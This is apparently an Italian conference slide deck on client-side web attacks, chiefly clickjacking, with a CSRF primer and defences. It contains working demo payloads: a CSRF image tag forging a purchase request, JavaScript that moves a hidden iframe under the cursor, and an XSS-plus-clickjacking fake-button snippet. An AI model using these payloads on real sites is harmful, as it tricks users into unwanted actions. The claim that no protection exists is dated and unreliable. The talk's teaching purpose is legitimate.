Client Side Security

• Attacchi Web-Based orientati a colpire il fruitore di un sito web più che il sito stesso. • L'attacco può compromettere i dati dell'utente, le sue credenziali di accesso al sito e la sua privacy. • Vengono generalmente portati a termine tramite l'uso di JavaScript, HTML, VBScript ed anche ActionScript. • Gli attacchi a livello Client Side sono molto più comuni e ricorrenti degli attacchi Server Side (SQL Injection, Remote File Inclusion, Local File Inclusion...). • Sono generalmente meno conosciuti dagli sviluppatori e spesso sottovalutati nella loro efficacia e pericolosità di riuscita.

Content Injection

Cross Site Scripting

Cross Origin Scripting Cross Site Request Forgery
e ora

Clickjacking

Cross Site Request Forgery
Per capire a fondo il Clickjacking bisogna avere anche una conoscenza basilare del funzionamento del Cross Site Request Forgery. • E' un attacco che sfrutta la fiducia riposta del sito nell'autenticazione dei propri utenti, • Forza l'utente a compiere inconsapevolmente delle azioni su un sito su cui è autenticato (o no) sfruttando la sessione su di lui correntemente aperta, Il Clickjacking trova diverse somiglianze nel CSRF e può essere forse anche considerato una variante di esso dato che: • Anche nel Clickjacking si sfrutta la sessione correntemente aperta dall'utente sul sito web utilizzato come “tramite” per l'attacco, • Anche nel Clickjacking l'utente viene “ingannato” visitando un sito web maligno che lo condurrà a fare azioni inconsapevolmente.

Cross Site Request Forgery: Prevenzione
Un esempio molto banale di attacco di Cross Site Request Forgery potrebbe essere: <img src=”http://www.amazon.com/compraLibro.php? idLibro=31337&autore=Claudio%20Guarnieri&quantita=100&conferma=si” / > Questo vettore inserito in un sito maligno replica la richiesta al sito Amazon su cui l'utente ha una sessione aperta e il quale quindi sarà forzato a completare l'azione forgiata. Per prevenire che queste azioni vengano replicate da siti esterni è sufficente inserire nella generazione dei link (o dei Form) dei Token “usa-egetta” non predicibile come: http://www.amazon.com/compraLibro.php?idLibro=31337&autore=Claudio %20Guarnieri&quantita=1&conferma=si&token=a340sp2ns9 Ma per il clickjacking è chiaramente diverso..

Clickjacking
“Clickjacking is a malicious technique of tricking web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. A vulnerability across a variety of browsers and platforms, a clickjacking takes the form of embedded code or script that can execute without the user's knowledge, such as clicking on a button that appears to perform another function.” - Wikipedia • “Scoperto” e formalizzato da Jeremiah Grossman (Whitehat Security) e Robert Hansen (Rsnake da Ha.ckers.org). • La presentazione ufficiale all'OWASP event di New York è stata cancellata sotto richiesta della Adobe Inc. • Dettagli recentemente rilasciati tramite Webcast su BlackHat.

Clickjacking
• A differenza di attacchi come SQL Injection, LFI, RFI e gli stessi XSS e CSRF, il Clickjacking non deriva da una vulnerabilità nel codice, ma da delle possibilità messe a disposizione dai linguaggi di Markup e di Scripting Web, e rappresenta quindi una problematica architetturale difficilmente risolvibile. • Come funziona? Basti pensare ad ogni link, ad ogni bottone, ad ogni immagine che quotidianamente clickate all'interno di una pagina web: ogni singolo click può essere il vettore per un attacco di Clickjacking.
pagina overlayed iframe nascosto

DEMO :-)

Clickjacking: analisi del codice
<script> function getPosition(e) { e = e || window.event; var cursor = {x:0, y:0}; if (e.pageX || e.pageY) { cursor.x = e.pageX; cursor.y = e.pageY; } else { var de = document.documentElement; var b = document.body; cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) (de.clientLeft || 0); cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - (de.clientTop || 0); } document.coordinate.MouseX.value = cursor.x; document.coordinate.MouseY.value = cursor.y; return cursor; }

Clickjacking: analisi del codice
function clickjacking(e) { var loadFrame = document.getElementById("vittima"); var curPos = getPosition(e); loadFrame.setAttribute('style','opacity:0.1;position:absolute;top:' + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';'); } window.captureEvents(Event.CLICK); window.captureEvents(Event.MOUSEMOVE); window.onmousemove=getPosition; window.onclick=clickjacking; </script>

E questa è la chiamata alla pagina legittima :-)

<iframe id="vittima" src="vittima.html" scrolling="no" style="opacity: 0.1;position: absolute;left: 10;bottom: 10;" width="500px;"></iframe>

UN'ALTRA DEMO :-P

Clickjacking: analisi del codice
Questo esempio è molto più semplici perchè per la buona riuscita è sufficente questa riga di codice: <iframe style="opacity: 0.1;position: absolute; left: 0px; top: 248px; width: 400px;" src="vittima.html"></iframe> I parametri importanti in questa breve riga di codice sono: opacity: permette di impostare l'opacità, per rendere l'iframe invisibile position: posiziona l'iframe in modo ASSOLUTO, ossia fisso all'interno della pagina left e top: servono per impostare la posizione precisa dell'iframe nascosto all'interno della pagina web. La riuscita di questo attacco sta al perfetto posizionamento sovrapposto dei bottoni! :-)

ANCORA UN'ALTRA DEMO :-|

Clickjacking: analisi del codice
In questo esempio si è visto come è possibile unire una vulnerabilità di tipo Cross Site Scripting con un possibile attacco di Clickjacking utilizzando come vettore un semplice codice come il seguente: <script>document.click.button.display = none; function bonus() { document.click.button.click(); }</script><div style=position:absolute;top:67px;left:8px;><input style=fontsize:24px; type=button value=RICEVI%26nbsp%3BUN%26nbsp%3BBONUS %26nbsp%3BDA%26nbsp%3B10000%26nbsp%3BEURO!!!! onClick=javascript:bonus() /></div> In questo esempio viene creato un nuovo bottone che si sovrappone all'originale, e una volta che quest'ultimo viene clickato, la funzione “bonus()” forza anche il bottone originario ad essere clickato di modo che nonostante tutto l'azione venga eseguita forzatamente.

Clickjacking: protezione
Nonostante le palesi somiglianze con il CSRF e dato che è direttamente l'utente a clickare, anche se inconsapevolmente, su pagine legittime e dinamicamente generate, il Clickjacking rende superfluo e obsoleto qualsiasi sistema Anti-CSRF come: Seride (http://projects.playhack.net/id/3) CSRF Guard (http://www.owasp.org/index.php/CSRF_Guard) I test di conformità di questi sistemi vengono infatti correttamente generati e altrettanto correttamente superati dato che non vi è nessun tentativo di hijacking se non dello stesso Click del mouse :-)

Clickjacking: protezione
Visto che il Clickjacking nullifica ogni protezione Anti-CSRF, bisogna pensare ad un'altra soluzione, ma visto che è un problema di design al momento non esiste una vera e propria protezione funzionante. Tramite NoScript (l'addon scritto da Giorgio Maone) è possibile filtrare il funzionamento di JavaScript ed anche disabilitare gli IFRAME, ma questo può essere scavalcato sostituendoli con gli OBJECT. A livello Server, gli sviluppatori di pagine web di una certa importanza e sensibilità possono sviluppare delle soluzioni che impediscano che le proprie pagine vengano utilizzate tramite FRAMING per azioni maligne con un semplice codice come questo: <script>if(top != self) top.location.href = location.href;</script>

Clickjacking: protezione
Fondamentalmente però la realtà è che ora come ora...

NON SI PUÒ' RISOLVERE :-)
se avete una soluzione sono tutt'orecchi

Conclusioni
Il Clickjacking è un attacco molto semplice ma che apre le porte ad un'enorme vastità di applicazioni possibili. La semplicità con cui può essere attuato però è pari alla quantità di danni che questo attacco può causare, e considerando il risultato ottenibile lo sforzo è irrisorio :-) Detto questo spero che questo semplice intervento vi sia piaciuto e che terrete tutti sempre un occhio di riguardo per le nuove scoperte in campo di Webapplications Security anche Client Sided.

GRAZIE DELL'ATTENZIONE ;-)

Link Interessanti
• http://www.playhack.net • http://www.xssing.com • http://www.gnucitizen.org • http://ha.ckers.org • http://www.whitesec.org • http://www.cgisecurity.com • http://jeremiahgrossman.blogspot.com • http://noscript.net

Sign up to vote on this title
UsefulNot useful